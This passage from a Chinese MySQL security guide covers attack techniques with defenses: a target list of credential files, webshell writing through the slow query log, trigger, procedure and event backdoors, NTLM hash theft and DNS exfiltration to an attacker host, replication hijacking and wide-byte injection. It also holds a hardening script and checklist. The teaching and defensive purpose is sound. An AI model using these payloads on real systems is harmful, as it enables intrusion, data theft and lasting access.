SSH密钥 /root/.ssh/id_rsa C:\Users\[user]\.ssh\id_rsa
命令历史 /root/.bash_history -
Web配置 /var/www/html/config.php C:\xampp\mysql\bin\my.ini
MySQL配置 /etc/mysql/my.cnf C:\xampp\mysql\bin\my.ini
云凭证 ~/.aws/credentials C:\Users\[user]\.aws\credentials
SSH记录 ~/.ssh/known_hosts -
FTP凭证 - C:\Users\[user]\AppData\Roaming\FileZilla\recentservers.xml

防御措施:

  1. 客户端配置禁用 LOCAL INFILE:
    # my.cnf 客户端配置
    [client]
    local-infile=0
    
  2. 连接时显式禁用:
    # 命令行连接
    mysql -h server_ip -u user -p --local-infile=0
    
# Python连接
import mysql.connector
conn = mysql.connector.connect(
    host='server_ip',
    user='user',
    password='pass',
    allow_local_infile=False  # 禁用
)
  1. 验证服务器身份:
    # 使用SSL连接并验证证书
    mysql -h server_ip -u user -p \
     --ssl-mode=VERIFY_IDENTITY \
     --ssl-ca=/path/to/ca.pem
    
  2. 网络隔离:
    • 不要从不可信网络连接MySQL
    • 使用VPN或跳板机连接生产数据库
    • 限制数据库服务器的出站连接
  3. 监控异常连接:
    # 监控连接到非预期IP的MySQL连接
    netstat -antp | grep :3306 | grep ESTABLISHED
    
  4. 应用层防护: ```python

    在应用代码中验证数据库服务器地址

    ALLOWED_DB_HOSTS = [‘10.0.1.100’, ‘10.0.1.101’]

if db_host not in ALLOWED_DB_HOSTS: raise Exception(f”Unauthorized database host: {db_host}”)


**检测方法**:

```bash
# 检查客户端配置
mysql --help | grep local-infile

# 测试是否允许LOCAL INFILE
mysql -h target_ip -u user -p -e "SHOW VARIABLES LIKE 'local_infile';"

7.3 权限提升 - 利用SUID

如果MySQL的二进制文件被设置了SUID位:

# 查找SUID的mysql相关文件
find / -perm -4000 -type f 2>/dev/null | grep mysql

# 如果mysql客户端有SUID,可以利用
mysql -u root -p -e '\! /bin/bash'

🐚 持久化与后门

7.4 日志投毒(Log Poisoning)

除了前面提到的通过 general_log 写入WebShell,还可以利用其他日志机制:

-- 通过慢查询日志写入
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL slow_query_log_file = '/var/www/html/shell.php';
SET GLOBAL long_query_time = 0;
SELECT '<?php system($_GET["cmd"]); ?>' FROM mysql.user WHERE SLEEP(1);

-- 通过二进制日志(需要解码)
SET SQL_LOG_BIN = 1;
-- 执行包含恶意代码的SQL,然后从binlog中提取

7.5 利用触发器(Trigger)持久化

攻击者可以创建触发器,在特定操作时自动执行恶意代码:

-- 创建后门触发器
CREATE TRIGGER backdoor_trigger
BEFORE INSERT ON users
FOR EACH ROW
BEGIN
    IF NEW.username = 'backdoor_user' THEN
        SET NEW.password = MD5('known_password');
        SET NEW.role = 'admin';
    END IF;
END;

-- 查看所有触发器
SHOW TRIGGERS;
SELECT * FROM information_schema.TRIGGERS;

-- 删除触发器
DROP TRIGGER backdoor_trigger;

7.6 利用存储过程(Stored Procedure)

存储过程可以封装复杂逻辑,也可能被用于隐藏后门:

-- 创建后门存储过程
DELIMITER $$
CREATE PROCEDURE backdoor_proc(IN cmd VARCHAR(255))
BEGIN
    DECLARE result VARCHAR(1000);
    -- 如果有UDF,可以执行系统命令
    SELECT sys_exec(cmd) INTO result;
END$$
DELIMITER ;

-- 调用
CALL backdoor_proc('whoami');

-- 审计存储过程
SELECT * FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';

7.7 利用事件调度器(Event Scheduler)

MySQL的事件调度器可以定时执行SQL语句,攻击者可以创建定时任务:

-- 启用事件调度器
SET GLOBAL event_scheduler = ON;

-- 创建定时后门(每分钟检查特定表,执行命令)
CREATE EVENT backdoor_event
ON SCHEDULE EVERY 1 MINUTE
DO
BEGIN
    DECLARE cmd VARCHAR(255);
    SELECT command INTO cmd FROM backdoor_commands LIMIT 1;
    IF cmd IS NOT NULL THEN
        -- 执行命令(需要UDF支持)
        SELECT sys_exec(cmd);
        DELETE FROM backdoor_commands LIMIT 1;
    END IF;
END;

-- 查看所有事件
SHOW EVENTS;
SELECT * FROM information_schema.EVENTS;

-- 删除事件
DROP EVENT backdoor_event;

🌐 网络与系统攻击

7.8 利用UNC路径触发NTLM认证与网络请求

MySQL本身的 LOAD DATA INFILE 不支持HTTP协议,只能读取本地文件系统路径。但在 Windows环境 下,MySQL可以通过UNC路径触发SMB请求,从而发起对外网络连接,实现NTLM哈希窃取或与内网服务交互。

利用方式:

-- 通过UNC路径触发SMB请求,窃取NTLM哈希(仅Windows)
SELECT LOAD_FILE('\\\\attacker_ip\\share\\file.txt');

-- 配合Responder等工具捕获NTLM哈希
-- 攻击者在attacker_ip上运行:responder -I eth0

配合SSRF的场景:

如果目标应用存在SSRF漏洞,攻击者可以让目标服务器连接到恶意MySQL服务端(参见7.2节 Fake MySQL Server),进而利用 LOAD DATA LOCAL INFILE 读取目标服务器上的敏感文件。这种间接方式才是MySQL在SSRF攻击链中的真正角色。

攻击链示例:
1. 发现Web应用SSRF漏洞(如数据库连接配置可控)
2. 将数据库地址指向攻击者的恶意MySQL服务端
3. 恶意服务端利用协议特性要求客户端发送本地文件
4. 获取目标服务器上的敏感文件(配置文件、密钥等)

防御:

  • 设置 secure_file_priv = NULL 禁止所有文件操作
  • Windows环境下限制MySQL进程的出站SMB连接
  • 数据库连接地址使用白名单,禁止用户可控

7.9 拒绝服务攻击(DoS)

-- 正则表达式DoS(ReDoS)
SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaaaa' REGEXP '(a+)+$';

-- 笛卡尔积导致资源耗尽
SELECT * FROM large_table1, large_table2, large_table3;

-- 递归查询导致栈溢出(MySQL 8.0+)
WITH RECURSIVE cte AS (
    SELECT 1 AS n
    UNION ALL
    SELECT n+1 FROM cte WHERE n < 999999999
)
SELECT * FROM cte;

防御:

  • 设置 max_execution_time 限制查询时间
  • 设置 max_connections 限制并发连接数
  • 使用 max_user_connections 限制单用户连接数

7.10 信息泄露

-- 获取数据库版本和系统信息
SELECT VERSION();
SELECT @@version_compile_os;
SELECT @@version_compile_machine;

-- 获取当前用户和权限
SELECT USER();
SELECT CURRENT_USER();
SHOW GRANTS;

-- 获取所有数据库
SHOW DATABASES;
SELECT schema_name FROM information_schema.schemata;

-- 获取所有用户
SELECT user, host, authentication_string FROM mysql.user;

-- 获取配置信息
SHOW VARIABLES;
SHOW VARIABLES LIKE '%dir%';  -- 查看重要目录路径

-- 获取进程列表(可能泄露其他用户的查询)
SHOW PROCESSLIST;
SELECT * FROM information_schema.PROCESSLIST;

防御:

  • 限制 information_schema 的访问权限
  • 禁止应用账号执行 SHOW PROCESSLIST
  • 错误信息不要暴露给前端用户

7.11 利用主从复制

在主从复制环境中,如果从库配置不当,可能被利用:

-- 在从库上执行(如果有权限)
STOP SLAVE;
CHANGE MASTER TO MASTER_HOST='attacker_ip', MASTER_USER='root', MASTER_PASSWORD='';
START SLAVE;

防御:

  • 从库使用只读模式:read_only=1 和 super_read_only=1
  • 主从复制使用SSL加密
  • 复制账号使用强密码,仅授予 REPLICATION SLAVE 权限

🔓 权限绕过与隐蔽信道

7.12 利用视图(View)的 SQL SECURITY DEFINER 提权

MySQL视图有两种安全模式:SQL SECURITY DEFINER(以视图创建者的权限执行)和 SQL SECURITY INVOKER(以调用者的权限执行)。当高权限用户使用 DEFINER 模式创建视图并授权给低权限用户时,低权限用户可以借助视图间接访问到自身无权限的数据。

攻击场景:

-- DBA使用root创建了一个DEFINER视图
CREATE DEFINER='root'@'localhost' SQL SECURITY DEFINER
VIEW all_users AS SELECT user, host, authentication_string FROM mysql.user;

-- 然后授予普通用户访问权限
GRANT SELECT ON mydb.all_users TO 'app_user'@'%';

-- 低权限用户通过视图可以读取mysql.user表(本来无权限)
-- 以app_user登录后执行:
SELECT * FROM mydb.all_users;
-- 成功获取所有用户的密码哈希!

审计方法:

-- 查找所有使用DEFINER模式的视图
SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE
FROM information_schema.VIEWS
WHERE SECURITY_TYPE = 'DEFINER';

-- 检查视图的DEFINER是否为高权限用户
SELECT v.TABLE_SCHEMA, v.TABLE_NAME, v.DEFINER, v.SECURITY_TYPE, v.VIEW_DEFINITION
FROM information_schema.VIEWS v
WHERE v.SECURITY_TYPE = 'DEFINER'
  AND v.DEFINER LIKE 'root@%';

防御:

  • 优先使用 SQL SECURITY INVOKER 模式创建视图
  • 使用 DEFINER 时,DEFINER账号应遵循最小权限原则,不要使用root
  • 定期审计 information_schema.VIEWS 中的 SECURITY_TYPE 和 DEFINER 字段
  • 遵循最小权限原则,不要通过视图间接暴露敏感表

7.13 利用预处理语句(Prepared Statement)绕过WAF

某些WAF或过滤机制可能被预处理语句绕过:

-- 使用预处理语句执行动态SQL
SET @sql = CONCAT('SELECT * FROM users WHERE id = ', @user_input);
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;

7.14 利用字符集转换绕过(宽字节注入)

宽字节注入原理

当MySQL客户端使用GBK等多字节编码时,攻击者可以利用编码转换的特性绕过基于 addslashes() 或 mysql_real_escape_string() 的转义防护。

攻击原理:

正常转义流程:
  输入:     ' OR 1=1--
  转义后:   \' OR 1=1--     (单引号被反斜杠转义,注入失败)

宽字节注入流程(GBK编码):
  输入:     %bf' OR 1=1--
  转义后:   %bf\' OR 1=1--  (即 %bf%5c%27 OR 1=1--)
  GBK解码:  縗' OR 1=1--    (%bf%5c 被合并为GBK汉字"縗",单引号逃逸!)

addslashes() 在单引号 '(0x27)前插入反斜杠 \(0x5c)。但在GBK编码中,0xbf5c 是一个合法的双字节汉字。因此 0xbf + 0x5c(反斜杠)被GBK解释器”吞掉”,导致后面的单引号 0x27 逃逸出来,注入成功。

利用示例:

-- 宽字节注入(GBK编码环境)
-- 输入: %df' OR 1=1--
-- 转换后: 運' OR 1=1--(%df%5c被合并为汉字"運")

-- 使用十六进制绕过关键字过滤
SELECT 0x61646D696E;  -- 等同于 'admin'

-- 使用CHAR函数绕过
SELECT CHAR(97,100,109,105,110);  -- 等同于 'admin'

防御:

  • 统一使用UTF-8编码,在连接和数据库层面都设置 character_set_client=utf8mb4
  • 使用参数化查询(PreparedStatement)而非字符串转义
  • 在 my.cnf 中强制编码:
[mysqld]
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci

[client]
default-character-set = utf8mb4

7.15 利用MySQL注释绕过

-- 内联注释绕过
SELECT/**/username/**/FROM/**/users;

-- 版本注释(特定版本才执行)
/*!50000 SELECT * FROM users */;

-- 多行注释
SELECT * FROM users /*! WHERE id=1 */;

7.16 DNS外带(DNS Exfiltration)

在无回显的情况下,可以通过DNS查询带出数据:

-- 通过LOAD_FILE触发DNS查询(仅Windows,利用UNC路径)
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\abc'));

-- Windows UNC路径
SELECT LOAD_FILE('\\\\attacker.com\\share\\file.txt');

7.17 利用MySQL Proxy中间人攻击

如果使用MySQL Proxy且未加密,攻击者可以:

  • 窃听所有SQL查询和结果
  • 篡改查询语句
  • 注入恶意SQL

防御:

  • 使用SSL/TLS加密连接
  • 验证服务器证书
  • 使用VPN或专用网络

📋 CVE漏洞汇总

7.18 其他重要CVE漏洞

CVE-2023-21980:MySQL Server Client程序漏洞

  • CVSS评分:7.1(高危)
  • 影响版本:MySQL 8.0.32及之前版本
  • 漏洞描述:允许低权限攻击者通过网络访问破坏MySQL Server,影响机密性、完整性和可用性
  • 防御:升级到MySQL 8.0.33+

CVE-2023-22028:MySQL Server InnoDB组件DoS漏洞

  • CVSS评分:4.9(中危)
  • 影响版本:MySQL 8.0.x
  • 漏洞描述:高权限攻击者可导致MySQL Server挂起或崩溃
  • 防御:升级到最新版本,限制高权限账号

CVE-2021-2022:MySQL Server InnoDB组件DoS漏洞

  • CVSS评分:4.4(中危)
  • 影响版本:MySQL 5.6.x, 5.7.x, 8.0.x
  • 漏洞描述:高权限攻击者可导致MySQL Server频繁崩溃
  • 防御:升级到修复版本

CVE-2024-21201:MySQL Optimizer组件DoS漏洞

  • CVSS评分:4.9(中危)
  • 影响版本:MySQL 8.0.39及之前,8.4.x
  • 漏洞描述:易于利用的漏洞,可导致MySQL Server挂起或崩溃
  • 防御:升级到MySQL 8.0.40+或8.4.3+

八、MySQL 8.0+ 安全新特性

MySQL 8.0 引入了大量安全增强功能,了解并正确使用这些特性是加固现代MySQL部署的关键。

8.1 认证增强

caching_sha2_password 成为默认认证插件:

MySQL 8.0 将默认认证插件从 mysql_native_password 更换为 caching_sha2_password,提供更强的密码哈希安全性。

-- 查看当前默认认证插件
SHOW VARIABLES LIKE 'default_authentication_plugin';

-- 查看各用户使用的认证插件
SELECT user, host, plugin FROM mysql.user;

-- 如需兼容旧客户端,可为特定用户指定旧插件(不推荐)
ALTER USER 'legacy_app'@'%' IDENTIFIED WITH mysql_native_password BY 'password';

密码策略增强:

-- 安装密码验证组件(MySQL 8.0+)
INSTALL COMPONENT 'file://component_validate_password';

-- 配置密码策略
SET GLOBAL validate_password.policy = 'STRONG';        -- LOW / MEDIUM / STRONG
SET GLOBAL validate_password.length = 12;              -- 最小长度
SET GLOBAL validate_password.mixed_case_count = 1;     -- 至少1个大写+1个小写
SET GLOBAL validate_password.number_count = 1;         -- 至少1个数字
SET GLOBAL validate_password.special_char_count = 1;   -- 至少1个特殊字符

-- 密码过期策略
SET GLOBAL default_password_lifetime = 90;  -- 90天后过期
ALTER USER 'app_user'@'%' PASSWORD EXPIRE INTERVAL 180 DAY;

-- 密码历史与重用限制(防止用户反复使用旧密码)
SET GLOBAL password_history = 5;           -- 记住最近5个密码
SET GLOBAL password_reuse_interval = 365;  -- 365天内不能重用

-- 双密码支持(平滑密码轮换,不中断服务)
ALTER USER 'app_user'@'%' IDENTIFIED BY 'new_password' RETAIN CURRENT PASSWORD;
-- 确认所有客户端切换到新密码后:
ALTER USER 'app_user'@'%' DISCARD OLD PASSWORD;

8.2 权限增强

角色(Roles)系统:

-- 创建角色
CREATE ROLE 'app_read', 'app_write', 'app_admin';

-- 为角色分配权限
GRANT SELECT ON mydb.* TO 'app_read';
GRANT INSERT, UPDATE, DELETE ON mydb.* TO 'app_write';
GRANT ALL PRIVILEGES ON mydb.* TO 'app_admin';

-- 将角色授予用户
GRANT 'app_read' TO 'readonly_user'@'%';
GRANT 'app_read', 'app_write' TO 'app_user'@'%';

-- 设置默认角色
SET DEFAULT ROLE 'app_read' TO 'readonly_user'@'%';

-- 查看角色授权
SHOW GRANTS FOR 'app_read';

动态权限与部分撤销:

-- MySQL 8.0 新增的动态权限(更细粒度)
GRANT CONNECTION_ADMIN ON *.* TO 'dba'@'%';    -- 连接管理权限
GRANT BACKUP_ADMIN ON *.* TO 'backup'@'%';     -- 备份管理权限
GRANT AUDIT_ADMIN ON *.* TO 'auditor'@'%';     -- 审计管理权限

-- 部分撤销:全局权限的例外(需要启用 partial_revokes)
SET GLOBAL partial_revokes = ON;
GRANT SELECT ON *.* TO 'analyst'@'%';
REVOKE SELECT ON mysql.* FROM 'analyst'@'%';   -- 排除mysql系统库

8.3 连接安全

连接控制插件(防暴力破解):

-- 安装连接控制插件
INSTALL PLUGIN CONNECTION_CONTROL SONAME 'connection_control.so';
INSTALL PLUGIN CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS SONAME 'connection_control.so';

-- 配置:连续失败3次后开始延迟,最大延迟10秒
SET GLOBAL connection_control_failed_connections_threshold = 3;
SET GLOBAL connection_control_min_connection_delay = 1000;      -- 1秒
SET GLOBAL connection_control_max_connection_delay = 10000;     -- 10秒

-- 查看失败登录统计
SELECT * FROM information_schema.CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS;

强制加密连接:

-- 要求所有连接必须使用SSL/TLS
SET GLOBAL require_secure_transport = ON;

-- 或针对特定用户
ALTER USER 'app_user'@'%' REQUIRE SSL;
ALTER USER 'sensitive_user'@'%' REQUIRE X509;  -- 要求客户端证书
# my.cnf 配置 TLS
[mysqld]
require_secure_transport = ON
ssl-ca   = /etc/mysql/ssl/ca.pem
ssl-cert = /etc/mysql/ssl/server-cert.pem
ssl-key  = /etc/mysql/ssl/server-key.pem
tls_version = TLSv1.2,TLSv1.3

8.4 审计增强

-- MySQL Enterprise Audit(商业版)提供完整审计能力
-- 开源替代方案:Percona Audit Plugin 或 MariaDB Audit Plugin

-- MySQL 8.0 组件架构的审计日志
INSTALL COMPONENT 'file://component_audit_api_message_emit';

-- 查看审计日志状态
SHOW VARIABLES LIKE 'audit_log%';

8.5 MySQL 8.0 安全配置推荐

# my.cnf — MySQL 8.0+ 安全配置推荐
[mysqld]
# 认证
default_authentication_plugin = caching_sha2_password
default_password_lifetime = 90
password_history = 5
password_reuse_interval = 365

# 连接安全
require_secure_transport = ON
tls_version = TLSv1.2,TLSv1.3

# 权限
partial_revokes = ON

# 文件安全
secure_file_priv = NULL
local_infile = OFF

# 网络
bind-address = 127.0.0.1
mysqlx-bind-address = 127.0.0.1    # 别忘了X Protocol端口

九、MySQL安全加固检查清单

检查项 操作建议 优先级 相关CVE
secure_file_priv 设置为 NULL 或指定安全目录 高 CVE-2016-6662
root远程登录 禁止,仅允许 localhost 高 -
匿名用户 全部删除 高 -
密码策略 启用 validate_password 组件,最小长度12位 高 CVE-2012-2122
FILE权限 应用账号禁止授予 高 CVE-2016-6662
SUPER权限 应用账号禁止授予 高 -
端口暴露 仅限内网访问,bind-address=127.0.0.1 高 CVE-2012-2122
服务运行权限 以低权限用户(如mysql)运行,禁止root/SYSTEM 高 CVE-2016-6664
版本更新 保持最新稳定版本,及时修补已知漏洞 高 所有CVE
配置文件权限 my.cnf设为644,仅root可写 高 CVE-2016-6662
数据目录权限 设为700,禁用符号链接 高 CVE-2016-6663
日志目录权限 严格控制,防止符号链接攻击 高 CVE-2016-6664
认证插件 MySQL 8.0+ 使用 caching_sha2_password 高 -
连接控制 安装 connection_control 插件防暴力破解 高 -
general_log 生产环境关闭,防止被利用写入WebShell 中 CVE-2016-6662
slow_query_log 生产环境谨慎开启,防止日志投毒 中 -
local-infile 设置为0,防止恶意服务端读取文件 中 -
plugin_dir 目录权限仅MySQL可读,禁止写入 中 -
mysql.func 定期审计,检查异常UDF 中 -
event_scheduler 生产环境按需开启,定期审计事件 中 -
触发器审计 定期检查 information_schema.TRIGGERS 中 -
存储过程审计 定期检查 information_schema.ROUTINES 中 -
视图审计 检查视图的 SECURITY_TYPE 和 DEFINER,防止权限绕过 中 -
从库只读 设置 read_only=1 和 super_read_only=1 中 -
查询超时 设置 max_execution_time 防止DoS 中 CVE-2024-21201
连接限制 配置 max_connections 和 max_user_connections 中 -
备份安全 备份文件加密存储,脱机保存 中 -
SSL/TLS 强制客户端加密连接,require_secure_transport=ON 中 -
字符集 统一使用 utf8mb4,防止宽字节注入 中 -
密码过期 设置 default_password_lifetime 中 -
角色管理 使用角色统一管理权限,避免逐用户授权 中 -
X Protocol端口 mysqlx-bind-address=127.0.0.1,限制33060端口 中 -
错误信息 不要向前端暴露详细的数据库错误 低 -
PROCESSLIST 限制普通用户查看进程列表 低 -

十、快速安全加固脚本

#!/bin/bash
# MySQL安全加固脚本
# 使用方式: bash mysql_hardening.sh
# 注意:需要以MySQL root身份执行,脚本会提示输入密码

MYSQL_CMD="mysql -u root -p"

echo "============================================"
echo "[+] MySQL安全加固开始..."
echo "============================================"

# ========================
# 1. 用户与认证安全
# ========================
echo ""
echo "[*] === 用户与认证安全 ==="

echo "[*] 检查并删除匿名用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE User='';"
$MYSQL_CMD -e "DELETE FROM mysql.user WHERE User='';"

echo "[*] 禁止root远程登录:"
$MYSQL_CMD -e "DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');"

echo "[*] 删除test数据库:"
$MYSQL_CMD -e "DROP DATABASE IF EXISTS test;"

echo "[*] 检查空密码账号:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE authentication_string='';"

echo "[*] 检查密码策略配置:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'validate_password%';"

# ========================
# 2. 权限审计
# ========================
echo ""
echo "[*] === 权限审计 ==="

echo "[*] 检查拥有FILE权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE File_priv='Y';"

echo "[*] 检查拥有SUPER权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Super_priv='Y';"

echo "[*] 检查拥有GRANT权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Grant_priv='Y';"

echo "[*] 检查拥有SHUTDOWN权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y';"

# ========================
# 3. 关键配置检查
# ========================
echo ""
echo "[*] === 关键配置检查 ==="

echo "[*] 检查 secure_file_priv:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'secure_file_priv';"

echo "[*] 检查 local_infile:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'local_infile';"

echo "[*] 检查 bind-address:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'bind_address';"

echo "[*] 检查 SSL/TLS 配置:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE '%ssl%';"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'require_secure_transport';"

echo "[*] 检查 general_log 状态:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'general_log%';"

echo "[*] 检查 slow_query_log 状态:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'slow_query_log%';"

# ========================
# 4. 后门与异常检查
# ========================
echo ""
echo "[*] === 后门与异常检查 ==="

echo "[*] 检查自定义函数(UDF):"
$MYSQL_CMD -e "SELECT * FROM mysql.func;"

echo "[*] 检查所有触发器:"
$MYSQL_CMD -e "SELECT TRIGGER_SCHEMA, TRIGGER_NAME, EVENT_MANIPULATION, EVENT_OBJECT_TABLE FROM information_schema.TRIGGERS;"

echo "[*] 检查定时事件:"
$MYSQL_CMD -e "SELECT EVENT_SCHEMA, EVENT_NAME, STATUS FROM information_schema.EVENTS;"

echo "[*] 检查存储过程:"
$MYSQL_CMD -e "SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';"

echo "[*] 检查DEFINER视图:"
$MYSQL_CMD -e "SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE FROM information_schema.VIEWS WHERE SECURITY_TYPE='DEFINER';"

# ========================
# 5. 刷新权限
# ========================
echo ""
$MYSQL_CMD -e "FLUSH PRIVILEGES;"

echo "============================================"
echo "[+] 安全加固检查完成!"
echo "============================================"
echo ""
echo "[!] 请手动检查 my.cnf 配置文件,确保以下参数正确设置:"
echo "    - secure_file_priv = NULL"
echo "    - local-infile = 0"
echo "    - bind-address = 127.0.0.1"
echo "    - require_secure_transport = ON"
echo "    - default_authentication_plugin = caching_sha2_password"
echo "    - max_connections = 100"
echo "    - max_execution_time = 30000"
echo "    - default_password_lifetime = 90"
echo "    - character-set-server = utf8mb4"

十一、渗透测试速查清单

以下命令可作为获取 MySQL 访问权限后的标准操作流程,各攻击手法的详细原理参见前文对应章节。

11.1 信息收集

-- 基础信息(版本 / 用户 / 权限 / 路径)
SELECT VERSION(), USER(), CURRENT_USER();
SHOW GRANTS;
SELECT @@hostname, @@datadir, @@plugin_dir, @@basedir;
SELECT @@secure_file_priv, @@version_compile_os, @@version_compile_machine;

-- 配置信息
SHOW VARIABLES LIKE '%log%';
SHOW VARIABLES LIKE '%dir%';
SHOW VARIABLES LIKE 'local_infile';
SHOW VARIABLES LIKE '%ssl%';

11.2 权限与用户评估

SELECT user, host, plugin FROM mysql.user;
SELECT user, host FROM mysql.user WHERE File_priv='Y';          -- FILE 权限
SELECT user, host FROM mysql.user WHERE Super_priv='Y';         -- SUPER 权限
SELECT user, host FROM mysql.user WHERE Grant_priv='Y';         -- GRANT 权限
SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y';      -- SHUTDOWN 权限
SELECT user, host FROM mysql.user WHERE authentication_string=''; -- 空密码

11.3 数据枚举

-- 敏感表查找
SELECT table_schema, table_name FROM information_schema.tables 
WHERE table_name LIKE '%user%' OR table_name LIKE '%admin%' 
   OR table_name LIKE '%password%' OR table_name LIKE '%config%'
   OR table_name LIKE '%credential%' OR table_name LIKE '%secret%';

-- 查找包含敏感列的表
SELECT table_schema, table_name, column_name FROM information_schema.columns
WHERE column_name LIKE '%password%' OR column_name LIKE '%pwd%'
   OR column_name LIKE '%pass%' OR column_name LIKE '%secret%'
   OR column_name LIKE '%token%' OR column_name LIKE '%key%';

11.4 提权可能性评估

检查项 命令 详见章节
UDF提权 SELECT * FROM mysql.func; SHOW VARIABLES LIKE 'plugin_dir'; 第二章
文件读写 SELECT LOAD_FILE('/etc/passwd'); 第四章
日志写入WebShell SHOW VARIABLES LIKE 'general_log%'; 第四章4.3节
SUID提权 find / -perm -4000 -type f 2>/dev/null \| grep mysql 第七章7.3节

11.5 后门检测

-- 触发器、存储过程、事件、视图(参见 7.5-7.7, 7.12 节)
SELECT TRIGGER_SCHEMA, TRIGGER_NAME, ACTION_STATEMENT FROM information_schema.TRIGGERS;
SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_DEFINITION FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';
SELECT EVENT_SCHEMA, EVENT_NAME, EVENT_DEFINITION, STATUS FROM information_schema.EVENTS;
SELECT TABLE_SCHEMA, TABLE_NAME, VIEW_DEFINITION, SECURITY_TYPE FROM information_schema.VIEWS;

11.6 渗透测试报告模板

# MySQL安全评估报告

## 1. 目标信息
- 服务器地址:xxx.xxx.xxx.xxx
- MySQL版本:x.x.x
- 操作系统:Linux/Windows

## 2. 发现的漏洞

### 高危漏洞
- [ ] 存在空密码账号
- [ ] root账号允许远程登录
- [ ] 存在SQL注入漏洞
- [ ] FILE权限配置不当,可读写任意文件
- [ ] 存在已知CVE漏洞(CVE-xxxx-xxxx)
- [ ] 可通过UDF提权

### 中危漏洞
- [ ] 弱密码账号
- [ ] 权限配置过大
- [ ] 未启用SSL加密
- [ ] 日志配置不当
- [ ] 存在可疑的触发器/存储过程
- [ ] 使用DEFINER视图暴露敏感数据

### 低危漏洞
- [ ] 版本信息泄露
- [ ] 配置信息泄露
- [ ] 未启用连接控制插件

## 3. 修复建议
(根据发现的漏洞提供具体修复方案)

十二、总结

MySQL的攻击面非常广泛,本文涵盖了以下主要攻击向量:

1. 注入类攻击

  • SQL注入(联合查询、报错、布尔盲注、时间盲注、堆叠注入)
  • 预处理语句绕过WAF
  • 宽字节注入(字符集转换绕过)
  • 注释绕过

2. 提权类攻击

  • UDF提权(自定义函数执行系统命令)
  • MOF提权(⚠️ 历史遗留,仅 Windows 2000/XP/2003)
  • SUID提权(利用特殊权限位)

3. 文件操作类攻击

  • 任意文件读取(LOAD_FILE)
  • 任意文件写入(INTO OUTFILE/DUMPFILE)
  • 日志投毒(general_log、slow_query_log)

4. 认证与授权类攻击

  • 弱口令爆破
  • 并发条件竞争绕过(CVE-2012-2122)
  • 视图DEFINER提权
  • 配置文件注入(CVE-2016-6662)

5. 持久化类攻击

  • 触发器后门(Trigger Backdoor)
  • 存储过程后门(Stored Procedure)
  • 事件调度器后门(Event Scheduler)

6. 信息泄露类攻击

  • 版本信息泄露
  • 用户信息泄露
  • 配置信息泄露
  • 进程列表泄露

7. 网络类攻击

  • UNC路径触发NTLM认证(Windows)
  • 恶意MySQL服务端读取客户端文件(Fake MySQL Server)
  • DNS外带数据
  • MySQL Proxy中间人攻击

8. 拒绝服务类攻击

  • ReDoS(正则表达式DoS)
  • 笛卡尔积资源耗尽
  • 递归查询栈溢出

9. 主从复制类攻击

  • 从库劫持
  • 复制链路窃听

10. 历史重大CVE漏洞

  • CVE-2012-2122(认证绕过)
  • CVE-2016-6662(配置文件注入RCE)
  • CVE-2016-6663(条件竞争提权)
  • CVE-2016-6664(错误日志提权到root)
  • CVE-2023-21980(Client程序漏洞)
  • CVE-2024-21201(Optimizer DoS)

防御建议总结

网络层防护:

  • 禁止MySQL端口暴露在公网
  • 使用防火墙限制访问来源
  • 启用SSL/TLS加密传输,设置 require_secure_transport=ON
  • 修改默认端口3306
  • 同时限制X Protocol端口33060

认证层防护:

  • 删除匿名用户和test数据库
  • 禁止root远程登录
  • 启用强密码策略(validate_password组件)
  • 使用 caching_sha2_password 认证插件
  • 安装 connection_control 插件防暴力破解
  • 配置密码过期和历史策略

权限层防护:

  • 遵循最小权限原则
  • 应用账号禁止授予FILE、SUPER等高危权限
  • 使用角色(Roles)统一管理权限
  • 定期审计用户权限
  • 及时删除不再使用的账号

文件系统层防护:

  • 设置 secure_file_priv = NULL 禁止文件操作
  • 插件目录权限设为仅MySQL可读
  • MySQL服务以低权限用户运行
  • 关闭生产环境的general_log

应用层防护:

  • 所有SQL查询使用预编译语句/参数化查询
  • 统一使用UTF-8编码,防止宽字节注入
  • 输入进行白名单验证
  • 错误信息不要暴露给前端
  • 使用WAF作为辅助防御

监控与审计:

  • 定期审计UDF、触发器、存储过程、事件、视图
  • 监控异常登录和查询行为
  • 启用审计日志记录敏感操作
  • 定期检查配置文件是否被篡改

版本管理:

  • 保持MySQL在最新稳定版本
  • 及时修补已知安全漏洞
  • 关注MySQL官方安全公告(Oracle Critical Patch Updates)

安全加固需要从网络层、认证层、权限层、文件系统层、应用层等多个维度进行纵深防御。没有绝对的安全,只有持续的监控和不断的改进。


参考资源

  • MySQL官方安全指南
  • OWASP SQL注入防护备忘单
  • CVE-2012-2122 MySQL认证绕过漏洞
